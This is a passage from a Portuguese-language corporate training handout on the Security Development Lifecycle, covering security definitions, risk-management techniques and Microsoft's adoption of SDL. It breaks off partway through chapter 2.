· Web viewessa empresa não teria tido condições de acompanhar a realidade tecnológica do...
Transcript of · Web viewessa empresa não teria tido condições de acompanhar a realidade tecnológica do...
UNIVERSIDADE CAIXA
Produtiva TI
Programa de Desenvolvimento da TI
Módulo 03 – SDL - Security Development LifecycleCiclo de Desenvolvimento Seguro
Brasília2017
Todos os direitos reservados: Produtiva TI
Capa: xxxxxxxxxxxxxx
Conteúdo: Niedjha Abdalla-Santos
Composição: xxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Ilustrações: xxxxxxxxxxxxxxxxxxxxxxxxxx
Dados /internacionais de Catalogação na Publicação (CIP)
Abdalla-Santos, Niedjha Lucienne
Programa de Desenvolvimento da TI: Módulo 03 – SDL - Security Development Lifecycle – Ciclo de Desenvolvimento Seguro. Brasília:
Universidade CAIXA, 2017.
Bibliografia
1. SDL. 2. WSDL. 3. SDLC. 4. Desenvolvimento seguro. 5. Segurança em TI. 6. Webservices.
I. Abdalla-Santos, Niedjha Lucienne. II. Título.
TODOS OS DIREITOS RESERVADOS – é proibida a reprodução total ou parcial, de qualquer forma ou por qualquer meio, sem a expressa autorização dos detentores dos direitos de autor ou sem a citação da autoria intelectual da obra.
Sumário
1. Introdução ao Desenvolvimento Seguro (36 telas)...............................6
1.1. Definições................................................................................................8
1.2. Conceito de Risco e Técnicas Básicas para sua Administração............12
Em RESUMO:...............................................................................................19
2. Por que segurança em desenvolvimento? (37 telas)..........................21
2.1. Justificativas Operacionais e Estratégicas.............................................22
2.2. Cases de Implementação......................................................................25
2.3. Visão Geral de Regulamentações que demandam segurança em
desenvolvimento............................................................................................31
Em RESUMO:...............................................................................................36
3. O processo de segurança em desenvolvimento (40 telas).................37
3.1. Visão Geral do SDL...............................................................................38
3.2. A Fase de Planejamento........................................................................42
3.3. A Fase de Design...................................................................................45
3.4. A Fase de Implementação.....................................................................46
3.5. A Fase de Administração.......................................................................48
Em RESUMO:...............................................................................................51
4. Papéis e Responsabilidades (28 telas)...............................................53
4.1. Revisores...............................................................................................54
4.2. Especialistas..........................................................................................55
4.3. Auditores................................................................................................56
4.4. Facilitadores...........................................................................................57
Capítulo 5. Introdução a Modelagem de Ameaças (22 telas).................59
5.1. O Processo de Modelagem de Ameaças...............................................61
Em RESUMO:...............................................................................................66
6. As Vulnerabilidades do OWASP Top 10 2013 (36 telas)....................68
6.1. A1: Injeção (Injection)............................................................................70
6.2. A2: Quebra de Autenticação e Gerenciamento de Sessão (Broken
Authentication and Session Management)....................................................71
6.3. A3: Cross-Site Scripting (XSS)...............................................................72
6.4. A4: Referência Insegura e Direta a Objetos (Insecure Direct Object
References)...................................................................................................74
6.5. A5: Configuração Incorreta de Segurança (Security Misconfiguration)..75
6.6. A6: Exposição de Dados Sensíveis (Sensitive Data Exposure).............76
6.7. A7: Falta de Controle para Função do Nível de Acesso (Missing
Function Level Acess Control).......................................................................77
6.8. A8: Cross-Site Request Forgery (CSRF)...............................................78
6.9. A9: Utilização de Componentes Vulneráveis Conhecidos (Using Known
V ulnerable Components)..............................................................................80
6.10. A10: Redirecionamentos e Encaminhamentos Inválidos (Unvalidated
Redirects and Forwards)................................................................................81
Em RESUMO................................................................................................83
7. Segurança por Código (14 telas)........................................................84
7.1. Práticas Gerais de Código Seguro.........................................................85
7.2. Validação de Entradas e Codificação de Saída.....................................85
7.3. Autenticação e Gerenciamento de Senhas............................................86
7.4. Autorização e Gerenciamento de Acesso..............................................87
7.5. Gerenciamento de Sessão.....................................................................87
7.6. Transmissão e Armazenamento de Informações Sensíveis..................88
7.7. Interação com Banco de Dados.............................................................88
7.8. Tratamento adequado de erros..............................................................89
7.9. Logging..................................................................................................89
8. Suporte na Revisão e Desenvolvimento (34 telas).............................91
8.1. Ferramentas de Suporte a Análise.........................................................92
Trabalhos mais relevantes da OWASP............................................93
8.2. Continuous Delivery...............................................................................98
Em RESUMO:.............................................................................................104
9. Métricas de Acompanhamento (28 telas).........................................106
9.1. Métricas para o estabelecimento do processo.....................................108
9.2. Métricas para o acompanhamento do processo..................................113
Em RESUMO:.............................................................................................116
10. Gestão de Vulnerabilidades e Resposta à Incidentes de Segurança
(22 telas).........................................................................................................118
10.1. O Processo de Resposta a Incidentes de Segurança........................119
A fase Verificar...............................................................................121
Alertar e Mobilizar Recursos..........................................................122
Avaliar e Estabilizar........................................................................122
Resolver.........................................................................................124
Melhorias Contínuas ao Processo.................................................124
10.2. O Papel da Gestão de Vulnerabilidades............................................125
O que você pode fazer para ajudar a gerenciar as vulnerabilidades
de segurança............................................................................................126
O que fazer quando ocorrer um incidente de segurança...............126
CONSIDERAÇÕES FINAIS (5 telas)....................................................128
FONTES DE CONSULTAS (3 telas)....................................................130
MÓDULO 3 - SDL
TELA 11. Introdução ao Desenvolvimento Seguro (36 telas)
Este capítulo introduz uma visão geral do que se convencionou conhecer
como desenvolvimento seguro na área de Tecnologia da Informação. O
propósito é facilitar o entendimento das demais informações que serão
apresentadas ao longo do Curso.
Nesta unidade de aprendizagem você:
entenderá o que é considerado desenvolvimento seguro;
conhecerá alguns conceitos básicos ao estudo do tema;
perceberá a noção de risco;
identificará técnicas básicas para a administração de riscos.
TELA 2
A realidade atual expõe um mundo totalmente dependente das
tecnologias de comunicação e informação (TICS), notadamente daquelas que
se baseiam em sistemas baseados na Internet.
Recurso cada vez mais fundamental para a vida profissional e pessoal, a
Internet não só é base de novos sitemas.
Ela também se mostra agregação indispensável à atualização de
sistemas antigos cuja reutilização não pode ser descartada. Isso exige,
frequentemente a interoperabilidade entre sistemas e plataformas diferentes.
Calminha, TutorTI! InteroperabilidadeO que é isso
TELA 3Vamos à explicação de interoperabilidade.
Imagine uma agência bancária inaugurada na década de 1960. Algo
muito comum em organizações com a CAIXA, por exemplo. Pense o que
aconteceria com essa agência, e com a organização como um todo, caso ela
ainda mantivesse seus controles em enormes aquivos baseados em papéis.
Seria um verdadeiro caos, não é mesmo? Mais do que isso, provavelmente
ProdutivaTI Página 6 de 131
MÓDULO 3 - SDL
essa empresa não teria tido condições de acompanhar a realidade tecnológica
do mundo atual e, por isso, já teria 'fechado as portas'.
Pois bem, suponha, agora, que tal empresa seguiu o processo de
atualização das organizações, no que diz respeito a seus controles internos.
Entretanto, se não dialogar com seu cliente, certamente ela perderá os
correntistas muito rapidamente. Afinal, hoje queremos soluções mais práticas:
acessar saldo e extratos pelo celular e tablet, fazer pagamentos, transferências
bancárias, compras, vendas e transações. Tudo com base em web services.
TELA 4Acontece que, normalmente, a dinâmica dos sistemas web não é a
mesma daquelas que guardam e controlam arquivos e sistemas de
organizações de grande porte como bancos, universidades, laboratórios
médicos, hospitais, e instituições financeiras, por exemplo.
Diante dessa realidade, a solução passa por fazer com que esses
sistemas de origem e de porte variados 'conversem' entre si. Sendo assim,
quando acessamos nossa agência bancária a partir do telefone celular,
normalmente nem percebemos que estamos nos beneficiando da
interoperabilidade entre sistemas e plataformas diferentes. Mais claro agora?
TELA 5Pois bem, com a ampliação da importância dos sistemas web, as
ligações domésticas e profissionais, físicas e lógicas, de conexões com a
Internet têm igualmente experimentado os chamados 'gatos' tão conhecidos
das instalações de água e de energia elétrica.
As tentativas de desvios, entretanto, não se restringem ao simples
acesso a sistemas de correios eletrônicos ou para navegação nas mídias
sociais. Isso porque web services circulam continuamente, repletos de
conteúdos valiosos para organização públicas e privadas, acionando o
interesses de indivíduos e grupos inescrupulosos que buscam tirar proveito da
informação que trafega pela Internet.
TELA 5 Sendo assim, as organizações têm sido pressionadas a se adequarem
continuamente à nova realidade, gerenciando o risco da não atualização e/ou
ProdutivaTI Página 7 de 131
MÓDULO 3 - SDL
adotando um modelo de segurança em desenvolvimento de software. Isso
exige adoção de boas práticas e da cultura de desenvolvimento de software.
Além disso, o envolvimento da alta gestão é indispensável para que a
segurança das aplicações seja incorporada às atribuições e metas da
organização.
Software seguro, portanto, não decorre de tecnologias isoladas, nem
soluções mágicas, que aumentam a segurança do software. São necessários
recursos sob a forma de tempo, estudos e dedicação às práticas e à busca de
modelos e ferramentas para suporte ao processo de desenvolvimento.
TELA 6Segundo a Microsoft® Corporation, um software considerado seguro
baseia-se em seis pilares: autenticação, autorização, auditoria,
confidencialidade, integridade e disponibilidade.
Esses são considerados, como veremos a seguir, os princípios da
sefurança da informação. Observe que, embora tenhamos citado o
entendimento da Microsoft, ainda não estamos nos referindo especificamente
ao SDL. Ou seja, quando falamos de software ou desenvolvimento seguro,
estamos sendo genéricos.
Para melhor entendermos os conteúdos relacionados ao
desenvolvimento seguro, algumas definições se fazem essenciais.
TELA 7
1.1. Definições
As definições a seguir foram obtidas principalmente a partir de
documentos da Associação Brasileira de Normas Técnicas (ABNT), do National
Institute of Standards and Technology (NIST) e do website institucional da
Microsoft Corporation para o SDL:
ProdutivaTI Página 8 de 131
MÓDULO 3 - SDL
Ataques, vulnerabilidades, medidas, recurso, riscos e ameaças são
termos cuja diferença deve ser bem compreendida:
Recurso é qualquer item de valor, objeto físico ou lógico, recurso de
sistema, passível de se tornar alvo de ameaças, vulnerabilidades,
ataques, ou risco de segurança.
• Ameaça é um evento ou circunstância que tem o potencial de
impactar, por meio de sistemas de informação, uma organização,
pessoa ou nação; é uma ocorrência potencial, maliciosa que pode
danificar ou comprometer seus recursos.
TELA 8 (continuação das definições) Risco de segurança da informação está associado com as chances de
que ameaças explorem vulnerabilidades de um ativo de informação
ou grupo de ativos de informação e consequentemente causem
dano a uma organização. Logo, risco é uma medida de probabilidade
de certa ocorrência.
Vulnerabilidade diz respeito a fraquezas na implementação,
configuração, controle, ou procedimento de segurança em sistemas, que
podem ser exploradas por uma ameaça.
Medida é uma ação, providência ou garantia que trata a ameaça e reduz
o risco.
Ataque (ou exploração) é uma ação, ou tentativa de ação, que prejudica
um recurso, cujo objetivo é causar dano ou obter informação não
autorizada.
TELA 9 (continuação das definições)
Segurança da informação é a proteção da informação de vários tipos de
ameaças para garantir a continuidade do negócio, minimizar o risco ao
negócio, maximizar o retorno sobre os investimentos e as oportunidades de
negócio.
Segurança de redes diz respeito aos meios de proteção dos dados que
trafegam por uma rede, seja pela sua dimensão privada, seja por sua fase
web. Normalmente, a segurança de redes é dividida por camadas que se
ProdutivaTI Página 9 de 131
MÓDULO 3 - SDL
utilizam de protocolos diferentes de comunicação, o que permite criar
eficientes mecanismos de proteção para autenticação e transporte de
dados.
TELA 10 (continuação das definições) Princípios de segurança da informação: autenticação, confidencialidade,
integridade, controle de acesso, disponibilidade e o não-repúdio.
Autenticação divide-se em duas fases: primeiramente a identificação,
que consiste na checagem de existência do cadastro do usuário diante
de seus dados (nome, CPF, e-mail, conta corrente); na segunda etapa
é feita a validação, ou seja, a comprovação de que aquele é realmente o
usuário identificado e autorizado a acessar o sistema, por exemplo.
Exemplos: e-mail e senha; conta-corrente e token; cartão de crédito e
impressão digital.
Confidencialidade é a "propriedade de que a informação não esteja
disponível ou revelada a indivíduos, entidades ou processos não
autorizados” (ABNT NBR, 2006). Diz respeito à privacidade de uma
informação quanto a acessos não autorizados.
Exemplo: violação de sigilo bancário; interceptação de chamadas
telefônicas.
TELA 11 (continuação das definições e dos Princípios de segurança da informação)
Integridade é a “propriedade de salvaguarda da exatidão e completeza
de ativos.” (ABNT NBR, 2006). Relaciona-se à proteção da consistência
dos dados contra alterações, duplicidade, multiplicidade e deleção.
Exemplo: alteração de senhas pessoais; deleção de informações em um
processo judicial.
C ontrole de acesso é normalmente confundido com a autorização.
Entretanto, seja físico ou lógico, o controle de acesso consiste nos
processos de autenticação, de autorização e de auditoria. Permite ou
nega o acesso de um sujeito (indivíduo, sistema, processo, entidade
ativa) a um objeto (local, sistema, arquivo, entidade passiva). A
ProdutivaTI Página 10 de 131
MÓDULO 3 - SDL
autenticação identifica quem acessa, a autorização determina o que ele
pode fazer, enquanto a auditoria diz o que ele fez.
Exemplo: log de dados, ou de sistemas, são arquivos que registram um
'rastro' dos usuários, desde o acesso até sua saída do sistema.
TELA 12 (continuação das definições e dos Princípios de segurança da informação)
Disponibilidade é a “propriedade de estar acessível e utilizável sob
demanda por uma entidade autorizada” (ABNT NBR, 2006).
Exemplo: caixa eletrônico 'fora do ar'; sistema bancário indisponível pela
web.
Não-repúdio corresponde às ações adotadas para evitar que o usuário
negue ter realizado determinada ação, como a criação ou o recebimento
de uma informação.
Exemplo: as ações de auditoria na leitura dos logs ou footprints de
sistemas são formas de investigar autoria de ataques de segurança.
TELA 13 (continuação das definições)
Princípios do processo de desenvolvimento seguro: segurança por
projeto; segurança por default; segurança no desenvolvimento e produção;
comunicações.
Segurança por projeto requer que o software tenha um projeto robusto,
capaz de minimizar os riscos; ou seja, o software deve ser projetado,
arquitetado e implementado de forma a ser resistente aos ataques
Segurança por default deve considerar o ambiente de produção inseguro
e, por isso, usar privilégios mínimos disponibilizando apenas o
necessário.
Segurança no desenvolvimento e produção significa que ferramentas e
guias de segurança devem ser disponibilizados aos usuários finais e
administradores da aplicação
Comunicações são importantes, portanto, descobertas de
vulnerabilidades devem ser claramente comunicadas ao cliente, bem
como quais ações serão tomadas.
ProdutivaTI Página 11 de 131
MÓDULO 3 - SDL
TELA 14 (continuação das definições) Web Services são aplicações lógicas, programáveis que viabilizam a
interoperabilidade, a compatibilidade, de variados tipos de aplicativos,
independentemente de sistema operacional, permitindo a comunicação
e intercâmbio de dados entre diferentes redes. Além da interoperabilidade,
serviços web possuem diversas outras funcionalidades, sendo a
disponibilidade ao público por meio da Internet uma das mais importantes,
e perceptíveis.
Segurança da informação para web services. Serviços web são
excelentes aliados para soluções de negócio e, ao mesmo tempo,
representam potenciais aspectos de vulnerabilidades. Requerem, portanto,
estratégias próprias de segurança para evitar alteração de mensagem,
perda de confidencialidade, falsificação de identidade; repetição de parte
ou da mensagem inteira e a negação de serviço, entre outros.
TELA 15
1.2. Conceito de Risco e Técnicas Básicas para sua Administração
Tendo em vista as definições de ameaças, ataques, riscos e
vulnerabilidades, que acabamos de conhecer, fica evidente que, para diminuir
os riscos em nossos sistemas, devemos protegê-los contra ataques, reduzir
suas vulnerabilidades e monitorar as ameaças. Observe na Figura 1, a seguir,
como os conceitos estão relacionados.
O Open Web Application Security Project (OWASP) entende os riscos
como caminhos que os atacantes podem, potencialmente, utilizar através de
uma aplicação para causar danos ao negócio de uma organização, ou à propria
organização. Esses riscos podem, ou não, ser suficientemente graves para
justificar a atenção.
ProdutivaTI Página 12 de 131
MÓDULO 3 - SDL
TELA 16
Figura 1 - Riscos de segurança em aplicações. FONTE: https://www.owasp.org/index.php/Top_10_2013-Risk
TELA 17
Às vezes, os caminhos são muito evidentes e fáceis de serem
encontrados e explorados; outras, são muito difíceis. Da mesma forma, o dano
causado pode ter consequências mais ou menos graves para o negócio. Por
isso, é preciso que as organizações conheçam previamente os riscos aos quais
estão expostos, a fim criar estratégias próprias para administrá-los.
Gestão de riscos é o nome dado à forma como se administra, como se
lida com os riscos e tem por objetivo diminuir a frequência e/ou a severidade de
eventuais prejuízos. Observe como a Figura 2, a seguir, esquematiza o
processo de gestão de riscos em TI. As técnicas básicas de administração
variam conforme sejam genéricas, baseadas no OWASP, baseado na ABNT
NBR ISO/IEC 27005:2011, ou algum outro framework.
TELA 18A análise de risco é um assunto de caráter transdisciplinar, que transita
nas ciências humanas, sociais e exatas com grande importância, pois diz
respeito à base para se identificar as fraquezas que devem ser tratadas e
remediadas em um objeto de estudo, seja elemento, sistema ou organização.
Quando se trata de segurança de TI, de software ou de desenvolvimento
seguro, a análise de risco tem assumido importância crescente, sendo muitas
vezes conduzida por todo o ciclo de desenvolvimento.
O SDL da Microsoft e o CLASP (OWASP) tratam de análise de risco na
forma de Threat Modeling, ou Modelagem de Ameaças. A seguir, faremos
ProdutivaTI Página 13 de 131
MÓDULO 3 - SDL
algumas abordagens distintas, apresentando técnicas básicas e genéricas de
gestão de riscos, acrescidas das visões OWASP, ABNT e SDL.
TELA 19
Figura 2 - Gestão de riscos em segurança da informação.
FONTE: ABNT, 2011.
TELA 20Técnicas básicas de administração de riscos começam com a identificação e
mensuração (análise e avaliação) inicial dos riscos. Em seguida, o risco
identificado será tratado de uma das seguintes formas:
Negado , quando se prefere desistir da opção (atividade, sistema, operação)
do que correr determindado risco. Exemplo: desiste-se de implantar
determinado sistema para não correr o risco das consequências de
eventuais ataques a suas vulnerabilidades.
Reduzido , ao serem adotadas ações que reduzem as chances do risco se
concretizar. Exemplo: apenas alguns módulos do sistema são implantados,
eliminando aqueles com maiores vulnerabilidades.
TELA 21
ProdutivaTI Página 14 de 131
MÓDULO 3 - SDL
Transferido , caso em que uma parte do risco é compartilhada por meio de
seguros ou de terceiros que passam a exercer a atividade. Exemplo:
implanta-se o sistema completo, em parceria com terceiros que assumem
as consequências dos módulos de maiores vulnerabilidades.
Aceito , quando se admite a existência do risco, mas não se adota nenhuma
medida, pois se considera que as ações de tratamento seriam mais
dispendiosas do que eventuais prejuízos decorrentes da ocorrência do
evento.
TELA 22
Para determinar o risco inerente de uma solução em sua organização,
você pode, também, utilizar a técnica que consiste em avaliar a probabilidade
associada a cada agente de ameaça, vetor de ataque, vulnerabilidade de
segurança e combiná la com uma estimativa dos impactos técnico e no negócio
da sua empresa. Juntos, esses fatores determinam o risco total.
A OWASP propõe um esquema simples de classificação de risco,
resumido na Tabela 1, a seguir, como forma de administrar cada um dos riscos
identificados, considerando uma aplicação específica dentro de um negócio ou
organização.
TELA 23
Figura 3 - Esquema de Classificação de Riscos. FONTE: OWASP 10 2013
Técnicas de administração de riscos são também propostas pela norma
ABNT NBR ISO/IEC 27005:2011, que define processos para explorar
ProdutivaTI Página 15 de 131
MÓDULO 3 - SDL
continuamente o ambiente corporativo, com o objetivo de identificar riscos,
avaliar a possibilidade de sua ocorrência e o impacto sobre o negócio, para
gerar recomendações capazes de diminuí-los até um nível aceitável.
TELA 24Qualquer que seja a metodologia adotada para escolha das técnicas, a
identificação de risco traz à tona os ativos, ameaças, controles e
vulnerabilidades, enquanto a análise de risco tem foco na probabilidade e
impacto qualitativo e quantitativo do risco sobre o negócio ou organização.
Para decidir se o risco será negado, transferido, reduzido ou aceito, a
avaliação de risco compara o nível do risco com os critérios de
aceitação, priorizando o tratamento a ser escolhido, cujo reconhecimento
deverá ser formalmente registrado.
TELA 25O monitoramento e distribuição dos resultados deve ser feito para as
partes interessadas que executarão uma análise crítica do processo.
A gestão de risco de segurança da informação possui importante papel
na complementação da segurança da informação; é indispensável no
desenvolvimento de sistemas; auxilia no planejamento estratégico do
negócio; além de permitir a identificação antecipada de fraquezas de projetos
e implementações.
O tratamento depende do modelo para avaliação de riscos adotado. É
preciso inicialmente definir o processo de avaliar riscos que será associado ao
software, que deve incluir gestão de vulnerabilidades e resposta a incidentes.
Modelos como o Threat Modeling da Microsoft® podem ser adotados como
referência.
TELA 26Especificamente no que se refere à segurança em processos de
desenvolvimento de software, procura-se aumentar as chances de
desenvolvimento seguro levando-se em consideração o gerenciamento de
risco, os pontos críticos de segurança do software e o compartilhamento
do conhecimento.
ProdutivaTI Página 16 de 131
MÓDULO 3 - SDL
Trata-se de adotar um framework de gerenciamento de riscos durante
todo o processo de desenvolvimento do software. Este modelo não nega, mas
também não se relaciona diretamente à análise de riscos da arquitetura de
gestão, e, sim, especificamente à identificação e acompanhamento dos
riscos ao longo de todo o processo de desenvolvimento.
TELA 27Consiste, portanto, em identificar, classificar e compreender o risco
do software à medida que o risco sofre modificações no tempo. Para resolver
a dificuldade de associar os riscos técnicos aos riscos de negócio, o risco
deve ser discutido, compreendido e relatado em termos de impacto no
negócio.
Trata-se de aplicar o framework de gerenciamento de riscos a partir do
alinhamento consistente das diretrizes de governança corporativa com a
área de desenvolvimento de software.
A execução das tarefas de gestão de riscos deve ocorrer paralelamente
com as atividades de desenvolvimento, podendo ser conciliada com o
gerenciamento de outros riscos, como aqueles relativos à gestão do projeto
e à confiabilidade do sistema, por exemplo.
TELA 28Esse framework possui cinco estágios:
compreender o contexto de negócio;
identificar os riscos técnicos e de negócio;
sintetizar e priorizar os riscos;
definir a estratégia de mitigação de riscos; e
desenvolver e checar as correções.
A fase de compreensão do contexto de negócio exige que o analista
deve extraia e descreva as prioridades e objetivos de negócio, para avaliar os
requisitos de negócio que são relevantes e os riscos de software que devem
ser avaliados.
ProdutivaTI Página 17 de 131
MÓDULO 3 - SDL
TELA 29Na etapa de identificação dos riscos técnicos e de negócio procura-se
alinhar os riscos de software aos objetivos de negócio, através dos riscos de
negócio.
Identificar os riscos de negócio ajuda a definir e controlar as técnicas
de extração, mensuração e mitigação de riscos dos artefatos de software.
Permite, também, quantificar o impacto de um risco de software, o que ajuda a
comunicá-los à administração.
Sintetizar e priorizar riscos é uma fase que procura identificar a ordem
em que os riscos devem ser tratados – ou seja, como os recursos serão
alocados para mitigar riscos – considerando o contexto de risco e procurando
agregar valor para a organização.
TELA 30A etapa de definição da estratégia de mitigação de riscos sujeita-se
às restrições de custos, integração e compreensão na organização. Tudo
isso, sem deixar de garantir que os riscos são satisfatoriamente mitigados.
Finalmente, a fase de desenvolvimento das correções e validação, diz
respeito às alterações desenvolvidas nos artefatos que contém os riscos;
envolve a utilização de métodos de verificação capazes de comprovar que
o risco foi realmente mitigado.
TELA 31Para confirmar o desenvolvimento seguro, as cinco etapas desse
modelo de gerenciamento de riscos devem ser continuamente aplicadas
durante a elaboração do software, pois os riscos podem surgir em qualquer
momento do processo de desenvolvimento.
Em um ambiente de desenvolvimento iterativo, o framework deve ser
aplicado repetidas vezes sobre os mesmos artefatos. O processo pode ser
aplicado por diversas vezes, em uma determinada fase do desenvolvimento,
em um artefato específico, ou no projeto como um todo.
TELA 32Chegamos ao final de nossa primeira unidade de aprendizagem. Nela,
você conseguiu adquirir uma visão geral do desenvolvimento seguro,
ProdutivaTI Página 18 de 131
MÓDULO 3 - SDL
entendendo seu conceito e algumas importantes definições a ele relacionadas;
conheceu a noção de risco, bem como de técnicas básicas para sua
administração.
TELAS 33 a 36
Em RESUMO: Desenvolvimento seguro => relação com soluções web;
Desenvolvimento seguro => interoperabilidade entre sistemas e plataformas diferentes;
Desenvolvimento seguro => adotar modelo de segurança em desenvolvimento
de software;
Desenvolvimento seguro => adoção de boas práticas e da cultura de segurança;
Desenvolvimento seguro => envolvimento indispensável da alta gestão;
Desenvolvimento seguro => recursos sob a forma de tempo, estudos e dedicação às
práticas e à busca de modelos e ferramentas para suporte ao processo de
desenvolvimento;
Recurso => item de valor, capaz de se tornar alvo de ameaças, vulnerabilidades,
ataques, ou risco de segurança;
Ameaça => ocorrência potencial, maliciosa, que pode danificar ou comprometer seus
recursos;
Risco => medida de probabilidade de certa ocorrência;
Vulnerabilidade => fraqueza que pode ser explorada por uma ameaça.
Medida => ação, providência ou garantia que trata a ameaça e reduz o risco.
Ataque (ou exploração) => ação, ou tentativa, cujo objetivo é causar dano a um recurso
ou obter informação não autorizada.
Princípios do processo de desenvolvimento seguro => segurança por projeto;
segurança por default; segurança no desenvolvimento e produção; comunicações.
Gestão de riscos => forma como se administra os riscos, para diminuir a frequência
e/ou a severidade de eventuais prejuízos.
Threat Modeling ou Modelagem de Ameaças => forma como o SDL e o OWASP tratam
os riscos.
Técnicas básicas (gerais) de gestão de riscos => negado, reduzido, transferido, aceito.
Técnicas básicas (software) de gestão de riscos => compreender o contexto de
negócio; identificar os riscos técnicos e de negócio; sintetizar e priorizar os riscos;
definir a estratégia de mitigação de riscos; e desenvolver e checar as correções.
ProdutivaTI Página 19 de 131
MÓDULO 3 - SDL
ProdutivaTI Página 20 de 131
MÓDULO 3 - SDL
TELA 12. Por que segurança em desenvolvimento? (37 telas)
Esta unidade de aprendizagem apresenta, ainda como aspectos iniciais,
algumas propostas de reflexão em torno do desenvolvimento seguro, com o
objetivo de ampliar a visibilidade dos tópicos que nortearão os próximos
capítulos do Curso. Ao longo deste Capítulo 2, você:
perceberá porque é importante que as organizações se envolvam
com segurança em desenvolvimento de sofware;
identificará algumas justificativas operacionais e estratégicas para
o tema;
ilustrará o entendimento com breves cases de implementação; e
receberá uma visão geral das regulamentações que demandam
segurança em desenvolvimento.
TELA 2
O manual The Security Development Lifecycle - SDL: A Process for
Developing Demonstrably trata do tema deste Capítulo abordando duas
questões. A primeira é: porque você deve se preocupar em melhorar a
segurança do seu software? E a segunda é: como vender essas melhorias
para os gestores corporativos?
As respostas a ambas as perguntas estão no próximo tópico, que
apresenta justificativas operacionais e estratégicas para o SDL. em seguida,
veremos como alguns cases de implementação do SDL na própria Microsoft.
ProdutivaTI Página 21 de 131
MÓDULO 3 - SDL
TELA 3
2.1. Justificativas Operacionais e Estratégicas
Como responder a questão: porque segurança em desenvolvimento? O
manual do SDL propõe que a resposta seja dada sob duas vertentes.
Justificativas operacionais nos dizem porque devemos nos preocupar
em melhorar a segurança do nosso software.
Justificativas estratégicas nos fornecem argumentos capazes de
convencer os gestores corporativos quanto ao valor das melhorias de
segurança.
TELA 4
Fica fácil aceitar os argumentos operacionais, técnicos, dados no
Capítulo 1 e no Capítulo 2 do manual do SDL:
os atuais métodos de desenvolvimento não conseguem produzir
software seguro sem um modelo de processo de desenvolvimento
seguro;
as ameaças têm mudado ao longo do tempo, aumentando muito a
vulnerabilidade dos usuários;
a falta de segurança está associada à questão da privacidade e ao
tempo de inatividade;
a paisagem de segurança e privacidade não é a mesma da virada do
século;
hoje, tudo está conectado e os criminosos estão sendo atraídos para
a comunidade on-line, pois se entende que é 'onde o dinheiro está';
não existe qualquer indício de que essa tendência vai diminuir;
o histórico da indústria de software está repleto de bugs de
segurança.
ProdutivaTI Página 22 de 131
MÓDULO 3 - SDL
TELA 5
Argumento dessa natureza são suficientes para convencer os perfis
técnicos. Afinal, se a Tecnologia de Informação pretende proteger e dar suporte
ao futuro das organizações, passando uma visão de computação confiável,
precisamos realmente atualizar nossos processos para fornecer produtos mais
seguros, confidenciais e confiáveis.
Por outro lado, vender aprimoramentos de processos de segurança para
a direção corporativa não é tão fácil. Isso porque os profissionais de segurança
focam muitas vezes em ameaças que, apesar de importante, são potenciais.
E probabilidades não costumam preocupar indivíduos 'de negócios'. Por
isso, especialistas em segurança são normalmente vistos como alarmistas nas
reuniões com a alta administração.
TELA 6
Uma forma de facilitar a venda de ideias que tragam soluções de
segurança é deixar que os gestores percebam o valor monetário associado aos
ganhos com segurança. O que deixa clara a importância dos profissionais de
segurança da TI entenderem a lógica da análise de negócios.
Afinal, gestores trabalham para garantir a lucratividade das
organizações. Ou seja, precisam estar certos de que soluções que requeiram
mudanças e investimentos devem retornar valor às partes interessadas.
Mesmo que tais soluções representem inovações que atendam
necessidades organizacionais, se os ganhos não forem evidenciados, ficará
difícil convencer a alta administração.
ProdutivaTI Página 23 de 131
MÓDULO 3 - SDL
TELA 7
ATENÇÃO:
Perceba como o conceito de Análise de Negócio, que aprendemos nos estudos de BABOK®3, ajuda os profissionais de segurança a entenderem os gestores corporativos:
"Análise de negócio é a prática de viabilizar mudanças que atendam as
necessidades de uma organização por meio de soluções que entreguem valor
às partes interessadas"
TELA 8
Agindo como analistas de negócios, profissionais de segurança sentirão
a necessidade de alinhar as necessidades de TI ao negócio da organização.
Dessa forma, argumentos técnicos podem facilmente ser traduzidos em razões
negociais. Investimentos em segurança podem, por exemplo, ser vistos como:
meios de mitigar questões de privacidade que podem levar a ações
judiciais de clientes prejudicados;
formas de evitar situações que poderiam violar acordos de nível de
serviço e gerar tempo de inatividade, resultando em prejuízos
contratuais diretos e possíveis perdas judiciais;
solução plausível de gestão de riscos operacionais e custos
associados.
TELA 9
Então, porque segurança em desenvolvimento? O Capítulo 4, "SDL for
Management", é crítico para os gestores e para os técnicos que querem
conhecer as razões corporativas. Mostra o SDL em termos não técnicos e
sensibiliza o leitor para os custos e benefícios do processo.
ProdutivaTI Página 24 de 131
MÓDULO 3 - SDL
Concluímos este tópico com interessante argumento técnico-gerencial
apresentado pelo manual do SDL:
A Microsoft aprendeu e adotou o SDL para remediar seus
erros passados. Você também deve fazê-lo. A Microsoft viu
vulnerabilidades reduzidas em mais de 50% por causa do
SDL. Você também verá.
TELA 10
2.2. Cases de Implementação
O Capítulo 3 do manual do SDL relata o que chamou de uma breve
história do SDL na Microsoft. São cases que descrevem experiências ocorridas
desde a concepção das ideias que levaram ao desenvolvimento do SDL.
A seguir, tratamos de algumas dessas experiências, sob a forma de
breves destaques.
ATENÇÃO:
Detalhes sobre estes e outros cases podem ser obtidos na última edição do manual
Microsoft Security Development Lifecycle Process ou nas soluções para web services,
disponíveis no website corporativo da Microsoft:
<http://msdn.microsoft.com/enus/library/ff648318.aspx>.
TELA 11A implementação do SDL na Microsoft. Iniciou-se em 2002, em um
processo intensivo que ficou conhecido como "esforços de segurança". Esse
nome se justificava porque envolvia a compactação de atividades
correspondentes a várias fases do SDL em um período relativamente curto.
Tudo para garantir o início do processo e o impacto no ciclo de vida dos
produtos em desenvolvimento.
ProdutivaTI Página 25 de 131
MÓDULO 3 - SDL
Com efeito, os esforços de segurança viabilizaram ganhos nos planos,
cronogramas e recursos das equipes de produto. Os trabalhos se
concentraram na modelagem de ameaças, revisões de código e testes de
segurança.
TELA 12No final de 2002 e início de 2003, antes do lançamento do Windows
Server 2003, foi introduzida a revisão final de segurança (FSR), que acabou
tendo significativo impacto na configuração final do Windows Server 2003.
Logo em seguida, a Microsoft começou um projeto para formalizar o
processo de SDL, sendo destacáveis quatro importantes resultados desse
projeto:
Diretiva para a aplicação obrigatória do SDL
Treinamento obrigatório para o pessoal de engenharia
Métricas para equipes de produto
A função da equipe de segurança central
TELA 13
Aplicação obrigatória do SDL. Com os ganhos obtidos pelo uso do
SDL na fase dos esforços de segurança, a Microsoft resolveu exigir a aplicação
do SDL em uma ampla variedade de softwares. O SDL passou, então, a ser
obrigatório para todo software:
usado para processar informações pessoais ou confidenciais
